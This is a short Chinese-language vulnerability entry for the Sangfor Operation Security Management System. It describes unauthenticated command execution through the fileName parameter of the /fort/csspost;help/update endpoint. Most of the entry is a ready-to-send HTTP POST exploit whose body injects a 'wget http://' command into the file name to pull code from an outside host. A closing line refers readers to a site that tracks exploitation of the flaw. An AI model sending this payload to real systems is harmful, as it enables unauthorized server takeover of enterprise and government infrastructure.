深信服运维安全管理系统（Sangfor Operation Security Management System）是深信服科技股份有限公司面向企业级用户推出的一体化运维安全管理平台，提供网络设备管理、服务器监控、安全审计、配置管理、故障诊断等核心功能，广泛应用于政府、金融、能源、教育等行业的IT基础设施运维场景。该产品 /fort/csspost;help/update 接口存在命令执行漏洞，攻击者可通过 fileName 参数注入任意系统命令，未经授权在服务器上执行恶意指令，获取服务器权限，进而控制整个系统。
POST /fort/csspost;help/update HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
fileName=1.zip;wget http://
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.